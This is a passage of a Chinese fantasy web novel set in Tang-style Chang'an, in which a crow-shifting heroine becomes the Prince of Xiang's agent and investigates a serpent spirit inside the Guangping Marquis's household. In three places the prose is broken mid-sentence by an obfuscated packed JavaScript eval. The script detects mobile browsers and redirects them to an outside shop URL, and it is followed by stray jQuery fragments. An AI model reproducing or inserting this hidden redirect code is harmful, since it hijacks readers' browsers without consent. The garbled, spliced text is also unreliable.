商遗思不语,伸出两指夹住乌鸦的脖子,又涮了好几下她的羽毛,才道:“你身上有豹子的口水味,太臭了。”
“……你不早说!”殷流光连忙抬起翅膀,左右问了下,果然很臭,她瓮声瓮气道:“你转过去!”
商遗思不置可否,转身直接离开了房间。
殷流光在盆子里将自己仔仔细细涮了个干净,抖擞着翅膀跳出来后,发现椅子上不知何时放着一套崭新的襦裙。
刚刚她把自己的头埋在水底下涮脑袋的时候,隐约听到敲门声和开门声,大约是那个时候的侍女送来的。
其实她一直都觉得,商遗思身为金吾卫大将军,却反而在很多小事上都很细心。
要不然,兽苑里那些野兽,也不能都被养得这么好,而且这些也一定不都是仆人的功劳,很多事情一定是商遗思亲力亲为。
只看那只叫“山君”的猞猁如何亲近他就知道了。
她换好了衣服,走出房间,门口有侍女等候,一路引着她去了隔壁主厅,随后便安静退下。
殷流光踏进主厅,这里是她上次来过的地方,只是这次猞猁不在,只有商遗思坐在窗下,手中摆弄着一个造型古朴的香炉,正在悠然调香。
她走了过去:“长安城内妖案频发,大王身为金吾卫大将军,看起来却一点也不担心?”
刻成文字模样的香篆终于被碾好,点燃之后,无声无息地燃烧起来,满室浮动着松柏香气,清冷孤傲,一如此人。
他道:“殷四娘子看起来倒是比本王更担心,担心到不惧危险,夜闯本王的兽苑。”
看来他也知道自己为何而来,殷流光走过去,香雾丝丝袅袅,横亘在二人之间,她道:“我这次来,确实是想要知道妖蛇一案,大王究竟查得怎么样了?它的目标真的是广平侯府吗?……世子会不会被攻击?”
他不答反问:“你就这么关心祁承筠?”
“大王是知道的,我已经准备答应他的求亲,在我心里,他就是我的未婚夫君,我自然在意他的安危。”
商遗思冷笑:“殷四娘子,你觉得你跟本王又是什么关系?”
“你深夜私闯本王宅邸,不仅犯了夜禁,更是形同盗匪,本王可以立刻将你拿下,又有什么理由站在这里,你问什么,我就答什么?”
松柏的香气很能令人静心,商遗思看起来拒人于千里之外的话也没有吓退殷流光,跟他接触了这么多次,慢慢地也从一开始的看不透,到现在的有些看得懂。
他不是传言中冷心冷情,残虐好杀的帝王爪牙,若真是草菅人命,目空一切的权臣,方才他就不会出现救下她。
任凭她被豹子吃掉就好了,还给她准备什么衣裳。
她慢悠悠笑起来:“那当然是,大王求亲于我的关系了。”
对方的脸已经被她轻佻的话激得黑如锅底,寒霜满面,她继续道:“我曾经以为,大王派冰人上门,只是因为心胸狭窄,被我拒绝招揽就怀恨在心,想要报复我。广平侯为人圆滑玲珑,若是知道大王也同时求亲,他不会冒着得罪大王的风险,继续让这门亲事进行下去。”
“我不想坐以待毙,所以去了花宴,透出风去,我本就中意世子,而且与大王不和,还觊觎大王兽苑,大王只是想要报复我才请人提亲,这样,广平侯自然不会觉得世子娶我是夺人所爱。”
“但直到花宴最后,我才明白了大王的真正目的。”
当时他居高临下,对着靠在榻上的她说:“月明星稀,乌鹊南飞,绕树三匝,何枝可依?”
她将这句话再次复述了一遍,商遗思连眉毛都没动,显然她说的这些,他并不意外。
殷流光盯着他,得出结论:“我不知道我身上到底有什么值得大王想要的,但是如果大王到现在都想要我,那么大王,恭喜你可以得偿所愿。”
她拱手,一揖到底:“我答应栖在大王这棵树上,成为你的眼睛,你的爪牙……你的属臣。”
“还请大王允许我,帮你探查妖蛇一案。”
片刻静默,商遗思淡淡道:“说来说去,还是为了祁承筠。”
“本王还记得,你之前拒绝本王,说不想搅入腥风血雨。如今为了一个被你算计的人,你竟心甘情愿认我为主?”
他审视的目光落在她的身上,想看看这狡猾的殷四娘子是不是又在满口胡言,打什么鬼主意,烟雾漂浮,却阻挡不住她清亮坚定的双眼。
她道:“大王,我本就是谋求世子的荣华富贵,如果广平侯府出事了,谁来许我世子妃之位?”
“天下熙熙攘攘皆为利往,大王不必怀疑我的用意。”
一个世子妃之位算的了什么,祁君疾那点家当,算什么荣华富贵?
若真想攀高枝,世子妃能给她的尊荣,襄王妃只会更多。
半晌,商遗思垂下眼帘,道:“既然如此,从今往后你便是本王的暗哨乌衣。”
“妖蛇一案,的确与广平侯有关,但他有太子护着,坚称府内无事,他隐瞒的事,本王不好查,但会找机会将你送进去,与我里应外合。”
等一下,明明她是要找到妖蛇,保护祁承筠,怎么忽然变成了查广平侯了?
看到她骤然呆滞的表情,商遗思淡淡挑眉:“若是不趁早查清侯府隐藏的玄机,等到那条蛇再次犯案,你说死的会是谁?”
她沉默了,之前旁敲侧击,祁承筠说漏了嘴,告诉过她,侯府内接连三日死了三个人,死前都说是看到了蛇影。
后来没了动静
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986114|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,却在花宴上吓晕了赵国公夫人。
那条蛇,已经不满足于普通仆从了,下一个被它盯上的人,很有可能就是祁承筠。
商遗思说的话没错,她也只能答应。两人便这样说定了,她问起商遗思要怎么把她弄进侯府,他只说过几天她自会知道。
殷流光见他不欲多言,暗自撇撇嘴,准备离开时,瞥见雕刻精巧的百兽香炉里,那行商遗思方才调制的文字篆正逐渐燃成灰烬——
“持志如心痛”。
心中铭记不忘的目标,日夜磨着那颗心,让他无时无刻不疼痛,年复一年不能忘怀。
襄王已经位极人臣,荣耀显赫……还有什么需要这样警醒自己的,剜心刻骨的志向呢?
……
殷流光跟在侍女身后,走在广平侯府内院的石子路上。
她怎么想也想不到,商遗思出手这么快,也这么……无所不用其极。
那夜过后不久,寿昌公主就把向天子讨来的西域象命人运到了襄王府的兽苑,不幸的是,那头小象离开母亲身边本就惊恐,又被兽苑里的豺狼虎豹吓得魂飞魄散,当天就撞开兽苑的门狂奔而去,一直跑到了朱雀大街上。
公主的人追了半条街还没追上,最后还是碰上巡逻回来的默玄,带着几个金吾卫将那头小象制服,送回了禁苑,让它们母子团聚。
所幸当时街道上的路人都没有受伤,但兽苑可就惨了,跟襄王府连接的那面墙被撞了个稀烂。
女儿做出这种让整个长安城看笑话的事,天子也没办法包庇,罚她从公主宅的私库里出钱,给襄王修墙。
这下寿昌可开心了,有理由天天往襄王宅跑了。
轮到商遗思脑仁子疼,从寿昌那里知道是殷流光给她献的策,气得脸都黑了,知道她这是报复自己阻碍她跟祁承筠结亲。
不过他也正好借这个机会,称疾不出,在家休养,避开妖蛇一案。
没过几天,广平侯带人从府中抬出条断为两截的白蛇,说就是此物作祟,那蛇被玄都观带回,投入炉中炼化妖气。
天子听闻也作罢,此案遂告一段落。
与此同时,殷家四娘也接受了广平侯府的提亲,婚期定在立春之后。
太子妃听闻十分喜悦,她对殷流光的确一见就喜欢,担心她嫁进侯府礼仪不周,惹人耻笑,便命她提前在广平侯府住上一段时间,跟着她派来的教养嬷嬷学习世家礼仪。
这在以往不曾有过什么先例,殷流光自从见到教养嬷嬷后,早就将她哄得眉开眼笑,套话套出来是寿昌公主在太子府面前提及此事,担心她小户之女,嫁进世家大族举步维艰。
不如让她提前住进广平侯府熟悉各项礼仪规矩,过段时间再回去,等将来嫁进来,想来诸事稳妥,也不会有什么问题了。
太子妃称善。
寿昌怎么可能为她考虑到这么细致的地方,她这些日子在襄王宅督工修墙,定是商遗思装作无意引导她这么想的。
可广平侯竟然能这么顺利地答应,未免有些太好说话了。
殷流光心中疑虑,看着眼前的松轩竹径,锦绣楼阁,心里想着商遗思那夜吩咐的话,对着侍女微笑点头,提起襦裙走上台阶。
走进雕梁画栋,却影影幢幢,藏满了秘密的朱门之内。
23. 祸乱再起
一连忙碌几天,知意终于把行李都收拾好,从带来的包袱中将那本天书残卷递给殷流光。
自从在乐游原师父的坟里拿到这本书后,便发生了许多事,殷家上上下下人多眼杂,她便将书收了起来,还没来得及看。
前日刚刚搬进广平侯府,这几天她已经将府中管事以及侍女嬷嬷认了个大概,祁承筠因是已经与她定了亲,同在府中却更要避嫌,只托了人送了她许多器物用具,房间都快堆不下了,来送东西的仆役说,这些都是世子亲自开了库房,一件件挑的,什么南山八角花鸟屏风、玛瑙七宝床,还有四鸾衔绶纹金银平脱镜,照得满屋生光。
就连殷流光一日两食,用了什么,喜欢什么,不喜欢什么,他每日下值回来都会一一过问。
广平侯世子爱重未婚妻的名声,便很快在长安城流传了出去,盖住了妖蛇出没,怨灵作祟的传闻。
在这个故事里,襄王成了求所爱却不得的失意落魄人,连带着坊间人对他的看法也好了许多,带上些可怜。
殷流光知道殷守善为自己做这些是一片真心,她不是知恩不报的人,骗了他真心,心中也对他愧疚,会尽力从别的地方弥补,做不到全心全意爱夫君的妻子,但至少可以成为与他互相扶持,共担风雨的妻子。
不过短短几日,祁承筠为她做的这些就从侯府传到了大街小巷,这并不寻常,看起来倒像是有人刻意推动,为了掩盖……其他的居心。
她想起广平侯祁君疾,今日他遣人来说诸事繁忙,自己就不必过去拜见,日后自然有相见的机会。
心里隐隐约约觉得,广平侯一反常态改变态度,答应祁承筠和自己的亲事,不只是因为对这唯一的子嗣无奈妥协。
但这许多谜团的答案,只有她的能力变得更强,方能窥探一二。
她的目光落在残卷上。
“化兽之术源自天窍,天窍无形无影,可大可小,可以人之道御之。”
“香术、音术、咒术,三道可御,所谓香术,清香一缕,上通鬼神,下化百兽,狐喜灵芝,鹰唯白藤……”
书上密密麻麻记载着每种动物对应的调香,调香得当可以让化兽之人闻香后,能能随心所欲地运用兽身,甚至可以人为操控兽形。
殷流光想起传言中的那条白蛇……在花宴上自己看到的蛇,高二长,直起身来有两层楼阁那么巨大,可最开始在街巷中见到它的人说,那只是条手臂粗的蛇。
难道它是受香术操纵的方外兽?可如果是方外兽,夜神司早该出手了,为什么夜神司毫无动静?
她按捺住心中疑惑,继续看了下去。
“所谓音术,上古大巫以音娱神,应律合节,神嗔神喜,授化天地。”
整整一页,记载的都是如何利用悦神“乐器”,弹奏不同的曲谱,便可以给予化兽之人不同的能力,这能力可大可小,据说高深者可以拥有移山填海,吞噬日月之能,也就是所谓的“授化天地”。
再往下翻,本该记载咒术的这一页却被墨水浸透,黑糊一片,一个字也看不清。
显然是有人故意为之,右侧写着一行小字,是观山的字迹——
“妖术乱道,折人寿命,不该不该,应尽封之。”
看来,是观山读过这一页,并且认为有关咒术的记载是“妖术”,所以用墨抹去了这页。
殷流光对咒术也不感兴趣,她跟在观山身边已久,对这些道术手段耳濡目染,知道有些咒术是需要折损用咒之人,或者他人的寿命运道,极为阴损危险。
她更感兴趣的是前两个。
翻回前页仔细看下来,香术所记载的各类香草中,与乌鸦对应的是一味唤作“詹草”的香料,她闻所未闻,在东西两市也从没有听过这种香料的名字,倒像是什么神异志怪笔记中记录的仙草。
詹草缥缈不可闻,咒术又被观山抹去,到最后能用的,就只有音术。
而且……她垂下眼,想起记忆中无论她如何逼自己铭记,但还是已经渐渐模糊的那把琵琶,和弹琵琶的人所唱的歌谣。
她的阿娘,是极擅琵琶的。
她还小的时候,阿娘也教过她认弦听音,她坐在秋千上,春风拂起她的裙摆,柔软的纱罗扑在殷流光的脸上,是温暖好闻的香味,她听见阿娘笑着说:“四娘,你的发髻都乱了,来,阿娘帮你重新梳。”
旧梦温柔恍然,是无数个夜晚入梦的片段,支撑着她挨过冷眼,走过长安的枯荣四季,看着阿娘死去的那架秋千,渐渐爬满紫藤。
她回过神,视线重新聚集在书页上。
想要通过音术,成为拥有此种能力的开启天窍者,首先最重要的就是用特殊的材料,打造一件悦神“乐器”——金仙铃。
殷流光看到所需材料,瞪大了眼。
“金错刀、马蹄金,还有五行珠、辟寒玉……这哪里是造乐器,这是要偷国库啊!”
卷上每一件所列材料,无不是极难寻到的奇珍异宝,就说这最简单的金错刀和马蹄金,金错刀是百前的睢朝所用货币,到如今市面上流传极少,能寻到它的地方,要么在古墓里,要么在高门豪族之内。
至于马蹄金也是一样,也是睢朝皇帝打造,用来赐给功勋贵族的特殊金饼,寻常路子哪里能搞得到。
见殷流光对着书不住地叹气,好像是在为钱发愁,知意凑了过来,也捧着脸挨着她坐,问道:“娘子这么为难,何不问问世子呢?”
“祁承筠?”
“对啊。”知意点头:“这些东西就算再难寻,侯府也肯定是有的。”
她扭头让殷流光看看满屋子的摆设:“世子为娘子送来这么多东西,生怕你在这里住的不舒心,我想只要你开口,世子能找到的都会给你找来。”
话是没错,而且殷流光也相信,只要她开口,祁承筠什么都能给。
只是,这是她自己的事情,化兽之事她瞒着没有告诉祁承筠,就是知道不是每个人都能像商遗思那样,坦然接受她的身份。
那天在花宴凉亭里,她也听到了祁承筠提起“方外兽”的语气,嫌恶排斥,视为妖邪。
所以她早就打定主意,就算嫁过来了,也要一辈子都对祁承筠保守这秘密。
既然要瞒着他,这些东西便不好利用他来寻,她想了想,摇头:“不了,以前跟着观山招摇撞骗的时候,我也攒了些东西,知意,你把那些东西拿来,我拿去阎浮鬼市交换。”
那个时候她仗着人小嘴甜,跟在观山身边,哄得夫人们眉开眼笑,经常顺手就摘下手上的戒指或是金银平脱的梳篦送给她。
一来二去,她也攒下不少,但后来观山犯了案,遭京兆府追查,她便也不敢把这些首饰拿出来卖,一直攒到了现在。
所有重要的东西都是知意帮她收着,知意很快抱来个木盒,打开后里头都是些璨烂生光的首饰戒指。
“嗯……这些应该也值点钱了,阎浮鬼市上路子多,去那里寻,肯定能寻到这些材料。”
如今万事俱备,只差找时间去一趟鬼市。
只是她没想到,还没去成鬼市,广平侯府就出了事。
……
睡到后半夜,远远的一声凄厉尖叫如闪电惊雷,刺破侯府安静的夜晚。
“蛇、有蛇、有蛇啊——”
很快便有护卫的脚步声匆匆响起,窗外火光晃动,乱作一团。
知意听见惊叫声立刻就跑进内室寻殷流光,殷流光示意她别说话,将窗户开了条小缝看动静。
人影绰绰,像是都往后院荷花池的方向去了。
等到了第二天,府内众人个个面色凝重,知意打听一圈回来,吓得脸色煞白,对殷流光悄声道:“是管事溺毙在荷花池了!”
“娘子,不是说那条妖蛇已经被广平侯亲自斩杀了吗,为什么昨晚管事死前还会说……有蛇?”
殷流光眸色沉沉:“自然是广平侯说谎了。”
这件事捂不住,很快便听闻天子震怒,令修养在家的襄王立刻带领金吾卫入广平侯府,彻查此案。
……
殷流光站在廊下,望着来来往往的金吾卫,其中还有穿着道袍,握着法器在庭中仔细来回踱
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986115|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
步的道士,便知道这是夜神司的人,眼见一个道士手中的法器颤动指向这边,她立刻将手中的食盒交给祁承筠的长随祝岁。
“劳烦你转交给世子,前些日子我刚进府,承蒙世子细心照拂,我心中感激,做了些桃花酥聊表谢意。”
祝岁接了过去,眉开眼笑:“有了娘子的点心,世子总算能舒心一二了。”他顿了顿,又道:“哦对了,世子还让我嘱咐娘子几句,昨夜发生的事娘子不必忧心,世子自会解决,他已经命人在你住的院子周围布置暗卫,安全得很。”
殷流光微笑颔首,转身离去的时候,瞧见那道士还没走过来,就被一个金吾卫拽住了,她眯了眯眼,那金吾卫,倒像是默玄。
若是默玄来了,那么他的主人,想必也来了。
前厅内,须发皆白,鹤貌青袍的伏月道长对广平侯道:“侯爷不必忧心,贫道甫一出关,便发觉长安城内隐隐有浊气流转,而非妖气,想来是有方外兽潜入,并非妖孽作祟。”
伏月道长,玄都观观主,当朝天师,也是夜神司现任副司主,他的判断自然令人信服。
广平侯的视线扫过闲闲坐在椅子上的襄王,正垂眸轻吹盏中热气,仿佛庭中的嘈杂混乱都与他无关。
他眼中闪过阴戾猜忌,这件事发生后,他有意瞒住这消息,可转头天子就知道了,立刻命商遗思带了金吾卫直入侯府,除了是监察百官的襄王告密,还会有谁知道一个侯府管事被蛇吓死了?
可现在不是计较这些的时候,他移过审视的目光,对着伏月道:“但之前……鉴水道长也来过,说我宅中并没有方外兽的痕迹啊?”
“侯爷有所不知,这些年我们追捕的方外兽,多是意外能够化形的,行事莽撞没有章法,但贫道近日闭关,隐隐修炼出天眼,这才看出来,长安城内有些气息不同寻常。”
他语气严肃:“怕是有些方外兽……已掌握了化形之道,并能加以变幻,为祸长安!”
一直规规矩矩站在广平侯身后的祁承筠听闻,忙道:“真的是方外兽?它为何盯着我广平侯府……道长可有办法抓到?”
伏月摸着胡须,笑了笑:“自然,贫道会在望日子时,在侯府中庭开坛设法,布天罗地网追捕那条白蛇,必定能将其擒获!”
“至于它为何作乱侯府……这贫道就不知了。”
广平侯松了口气,对着伏月道:“还要拜托道长早日设阵捉住此人,还我侯府安宁!”
他还当是真有妖孽作祟,为了化解四年前那桩怨气,不得不答应儿子同意殷家四娘这门亲事,好利用和那人妹妹相似年龄与身形的殷流光来吸引煞气。
如今真相大白,那条白蛇只是方外兽所变,既然是人,那就没什么好怕的。
等此事了结,青竹的婚事……还是要尽快料理干净。
祁家的门楣,岂是区区七品官的女儿能攀上的?
“既然如此,那以防不测,本王便在伏月道长设阵的这几天,带着金吾卫护卫左右。”
以往夜神司追杀方外兽,向来是金吾卫配合,伏月自然没有二话,对着商遗思点头:“辛苦襄王殿下。”
这样广平侯纵然不想留他在此,也不得不吩咐人去给襄王和伏月道长分别准备院落暂居。
祁承筠表情有些紧张,在代管事出去的时候,对着他吩咐了几句,叫他不要把襄王的院子安排在殷四娘子所住的翠琅轩附近,最好越远越好!
一切都安排妥当时,商遗思忽然合上茶盖,慢悠悠站起了身:“对了,虽然已经明了一切都是方外兽所为,但也要知道那方外兽为何对广平侯府怀恨在心,才好向陛下禀报,所以——”
他顿了顿,目光掠过祁承筠,瞥向祁君疾:“侯爷,本王还是要将你府中上下人等都一一问话,不知侯爷可允?”
连天子之令都摆了出来,难道他还能说不行?
广平侯不动声色:“自然,自然,侯爷请便,我这就让人把仆人们都叫到一起。”
“不必。”他抬步,走出门外:“该怎么审,审哪些人,在下自有定夺。”
24. 水殿风来
祁家的水亭外,聚集了许多仆人,都不知所措,面露惶恐地站成一排。
惶恐的原因倒不是因水亭内那端坐着,身旁还卧着个猞猁,凶名冠长安的襄王殿下。
而是因着祁家水亭所在位置,就在荷花池旁边,匾额上写着的“风满袖”几个字之下,就是秋日里的一池枯荷,还有……管事被发现尸体的地方。
那地方已经被青雾山的道士用黄符设了法阵,荷叶上缀着一圈又一圈红线,线上悬挂密密麻麻的黄符,看着诡异得很。
一想到昨日还好端端的管事就是被妖蛇盯上,死在了这里,所有人的脸色都惨白惨白的。
清点完人数,代管事一路急跑过来,对着默玄道:“昨日跟管事有过接触的仆人都在这里了,劳烦这位金吾卫兄弟向大王禀报一二,看看要怎么审?”
默玄抱着横刀,扫了眼亭外站着的人,扭头看向商遗思,亭中人对着脚旁的猞猁道:“山君,去吧。”
原本乖乖眯着眼睛打瞌睡的山君便骤然动了起来,一跃而起,敏捷地跳上默玄的肩膀,默玄抱臂,带着肩头的山君走到仆从面前,一排排走了过去,每经过一个人,山君就动动鼻子,像是在闻什么。
默玄转回来,对着商遗思道:“大王,这些人都没有‘味道’。”
见他颔首,默玄便对代管事道:“行了,让他们都散了吧。”
代管事领命挥了挥手,让众人都散了,大家都松了口气,如逢大赦。但代管事仍然心中惊诧,早就听闻襄王有个豢养野兽的兽苑,专门用来助金吾卫追缉处理各类棘手案件,今日得见,这猞猁竟然能与金吾卫配合得这般好,当真是开了眼。
他正心里嘀咕,却听默玄道:“代管事,这不对啊,昨日见过管事的人,是不是还差了两个?”
“应当都在这里了,我亲自数过,不知郎君说的是谁?”
“那自然是,昨日跟管事见过面的殷家四娘,和她的侍女知意了。”默玄默默瞟了眼商遗思,咳了声,严肃道。
“可殷家四娘是客……而且在她住进来之前,府内就……”他意识到自己说了什么,连忙闭上嘴,满头大汗。
默玄似笑非笑:“让你请你就去请,襄王查案,哪来的主客之分?在这里,只有案子和犯人。”
“是是是,小人这就去翠琅轩。”
殷流光带着知意走到水亭的时候,瞧见亭内的襄王正负手而立,瞧着满池枯荷黄符。
风飒飒穿亭而过,猞猁听到动静,竖起尖尖的耳朵,转头瞧见她,顿时双眼一亮,向她扑了过来。
“娘子小心!”知意大惊失色,挺身而出想要拦住这头小兽,但转眼之间,它已经跳上了殷流光的怀里,她对知意说自己没事,含笑掂了掂:“山君,你好像胖了?最近伙食不错啊。”
商遗思转过身,眸色平静,默玄见状,连忙咳嗽了一声:“殷四娘子!大王传你来是要问你话,你严肃点,把山君放下!”
殷流光放下手,山君却还是攀着她的脖子不放,甚至变本加厉,埋头舔她的发丝。
知意在身后偷偷瞪它:“莫舔了!娘子的发髻都被你舔乱了!”
“不是我不放,是大王的猞猁太粘人了。”殷流光摊手,目露无辜。
默玄也无话可说,也瞪了那被美色所迷的小畜生一眼,扭头望向商遗思,用眼神控诉山君的所作所为。
“山君向来最喜欢吃的,就是飞禽。”商遗思似笑非笑:“看来,它很喜欢你的味道。”
什么?她还以为山君一见她又扑又舔是因为自己和蔼可亲,善良迷人,没想到是因为它闻到了自己身上的乌鸦气息,把自己当吃食了?
难怪两眼放光!
她立刻把山君扒拉下来,抱在怀里,干笑一声:“大王传我来,肯定不是为了让我陪山君玩吧?”
“自然。”商遗思向她招手,殷流光走过去,抱着猞猁站在亭下,商遗思站在阶上,微微俯视她:“在广平侯府住的可还习惯?”
殷流光一愣。
她还以为商遗思传唤她过来,是要问她昨夜可曾看到什么,不曾想他问了个这么无关紧要的话题。
虽然不解其意,但如今既然答应了做他的幕僚,他便是自己的主君。
主君问话,不能不答。
她老老实实道:“世子待我处处妥帖,没什么不习惯的。”
隐约感觉到站在面前的人眸光冷了冷,她不明所以,想到祁承筠曾跟她说过,自己和襄王曾经也是好友,曾纵马游长安,踏尽曲江春色。
但殷流光却发现,每每提及祁承筠与广平侯府,虽然商遗思面色平静,但她总能微妙地感觉到,他不喜欢这里。
为什么?
这里到底发生过什么?
犹然在沉思,只听眼前人道:“进来说话。”
他转过身,坐在亭中茵席一端,将对面的位置指了指,示意她坐下。
默玄轻咳一声,撇开视线。
虽然他因为大王被殷家小娘子骗了好几次,心中对她警惕,但最近越来越咂摸出不同寻常的味道。
若说之前想要收服她,是因为想要她背后那卷书,和她过于聪慧恐怕会看出他们计划,但要是真想让她闭嘴,他可是有无数种办法,却偏偏选择请冰人上门提亲,逼她主动投诚。
今天也是,广平侯府的什么情报他们不知道?大王此刻请殷家四娘过来,怕是只为了找借口见她一面吧?
不过,他才不管什么礼仪规矩,殷四娘子如今是广平侯世子妃这种话,只要是大王想要的,那就该是他的。
为了防风,水亭四面设有白色纱帐,默玄伸手一挥,便将帐幔扬起,遮住亭内两人身影。
他拽着知意说昨夜你在侯府后院都看到了什么,听到了什么,来仔仔细细给我说一遍,将她一步三回头地拉走了。
白纱在男人身后,被风吹得摇曳不休,像是一片云海飞絮。
殷流光跪坐在了他对面的茵席上,将山君放在一旁,它打了个滚,玩起殷流光的襦裙系带,玩的不亦乐乎。
她看桌案上摆着茶具点心,而商遗思面前的茶盏已经空了,便很有做手下的自觉,伸手拿过银茶匙,从鎏金茶盒中取出一匙茶末,放在他面前的秘色瓷茶盏中,正要取水,却被商遗思抓住了手腕。
她十分震惊,银茶匙哐当一声,掉在桌上。
商遗思皱眉看着女子胳膊上狰狞的,像条肉蚯蚓一样的伤疤。
“不是给了你药么?没用灵消膏?”
说完才意识到自己瞧见那伤痕时,竟然不由自主地捏住了她的手腕,此刻放也不是,不放也不是,索性面无表情地抬起眼,保持着这个姿势,等她答话。
那灵消膏需要日日涂抹才能让伤疤彻底消失,当时殷流光只涂了几天,剩下的就都给了殷流灵,也没想着去找默玄或者商遗思要,主要是那药太疼了!
而且她从来都不觉得身上留块疤能怎么样。
她干笑:“那药膏……我送了人,大王要是觉得这伤疤碍眼,我以后注意,一定不会让你再看见。”
说完便要缩回手,但男子捏在手腕上的力气丝毫没有减弱,商遗思抬眸,冷沉的眸子在深秋暧昧的涌金光芒下,透着琉璃般的褐色。
“过来。”他直截了当地命令。
殷流光不情不愿地挪了过去。
商遗思从腰上躞蹀带挂着的鱼袋中取出灵消膏,抹在指腹,一手撩开她的袖口,涂在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986116|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她手臂上的伤疤处。
这紫金鱼袋是重臣用来放鱼符的地方,他却拿来放药膏,当真是随性得很了。
殷流光瞟了一眼,收回目光,只听眼前人一边涂一边道:“这两日广平侯府可有什么异动?”
男人的手骨节明晰,长而有力,指腹皆有粗糙的茧,擦过她的肌肤时,会有微微的摩擦感,她知道那是常年持枪握刀,在沙场上作战留下的痕迹。
她的呼吸有些微乱,偷偷瞄了眼商遗思,虽然动作轻柔熟练,可他面无表情,就像是例行公事,巡检兽苑,发现一只乌鸦受了伤,于是拎起它的爪子,给它抹药。
脑子里响起之前默玄给她送灵消膏时,说这是大王常用来给兽苑豢养的野兽治伤用的药……
心中顿时断定,这厮是真拿她当乌鸦看了。
胸口那团莫名的紧张感顿时松懈了一大半,她道:“确实有点发现。”
“我怀疑那条蛇……一直都没离开,现在恐怕还在侯府,而且就在管事的房里。”
手臂上的指尖微微停顿,商遗思抬眸,意味不明:“为何这么说?”
昨晚那妖蛇是在荷花池犯的案,今早管事的尸体也是在荷花池被发现的,但殷流光记得,昨日晚间,管事还来过翠琅轩,替祁承筠送东西。
他离开翠琅轩是亥时,殷流光被惊醒,听到荷花池出事是亥时三刻,足足三刻钟,就算侯府地方大,也足够从翠琅轩到荷花池走了来回了!
而她今早跟侯府的仆人打听过,管事亥时之后就会回自己的房中休息,所以她想,荷花池并不是作案地点,管事的房间才是。
至于为什么要费劲拖到荷花池,想来就是那条蛇为了遮人耳目,让青雾山的道士误以为它是通过荷花池的水路,才能潜入侯府。
如果殷流光猜得没错,它就根本没离开过!
她目光殷殷:“大王,你抓蛇的时候能不能带上我?”
“为何?”他不咸不淡地反问,殷流光道:“听说它也是方外兽?我自从得到这个能力后,还没见过其他的同类,我想见见,也想知道为什么它要在侯府犯案。”
说她聪明,却也太过信任自己,商遗思垂下眼帘,合上药瓶:“不论什么原因,只要变成了方外兽,都有罪,都会被夜神司找到并诛杀。”
“你说的本王会查,今日起伏月就会在府中各处设寻兽法阵,你一只小小乌鸦,最好不要轻举妄动。”
法阵?是说荷叶上系着的那些黄符吗?
她瞟了一眼,又听见商遗思道:“至于同类……你眼前就有一个,若是想要交流经验,找他即可。”
眼前……?她瞪大眼,不可思议地看着商遗思,他猜出她所想,黑了脸,没好气道:“是默玄!”
果然是默玄!
“默玄是不是能变成马?”殷流光兴奋地问道,见商遗思不置可否,没有出言嘲讽,就知道她猜对了!
其实她早就想问问默玄是不是能变马?但对方毕竟武艺高强,这么冒犯地去问人家能不能变个马给她看,恐怕这位同僚会记她的仇。
如今知道了真相,更加好奇,心里有一万个问题想要跟默玄交流,恨不得现在就跑下去找他,兴冲冲转过身,却在亭外瞧见一个人,脚步顿时僵住了。
“世子……你怎么来了?”
祁承筠站在亭外,默玄的横刀已然出鞘,挡在他面前。
他的脸上失了血色,还有隐隐的怒气,显然将方才殷流光与商遗思相谈甚欢那一幕尽皆看去。
“襄王查案,为何要屏退左右,单单审我的未婚妻?”
他双目渐渐通红,不惧默玄的横刀,向前一步:“四娘她是我的未婚妻!望尘,不……还请大王自重!”
25. 鸦蛇大战
比起满脸愤怒,紧紧绷着脸的祁承筠,商遗思一派从容,收了药膏起身,踱步到他面前:“例行询问,不慎冒犯了世子的未婚妻,是本王唐突。”
“只是公事在身,还请世子见谅。”
殷流光虽然在跟祁承筠对视的瞬间有种被撞破奸情的错觉,但反应过来后也一派坦然。
她为商遗思做事,本就是为了保护祁承筠,只要此事了结,她再想办法从商遗思那里脱身即可。
她走到祁承筠身边,温声道:“世子,你误会了,方才襄王只是在问我昨夜可有见到什么异常,并没有冒犯我。”
语气是商遗思从未听到过的温柔和缓,不知为何,他觉得有些扎耳,冷沉道:“今日盘查下来,府内诸人都没有动机,不过方才殷四娘子倒是提供了一条线索,本王还要去查,就不多待了,告辞。”
他冷声说完,扫了默玄一眼,后者便收了横刀跟了上去,山君磨磨蹭蹭,在殷流光裙角滚来滚去,留恋不舍,被默玄一横刀鞘打在屁股上,呜呜叫了一声,不得不跟了上去。
眼见他们去的方向正是管事房间,殷流光也想去看,但刚刚被商遗思拒绝,立刻将注意打到祁承筠身上。
“世子,其实方才我跟襄王在说,那条妖蛇很有可能就藏在管事的房间。”
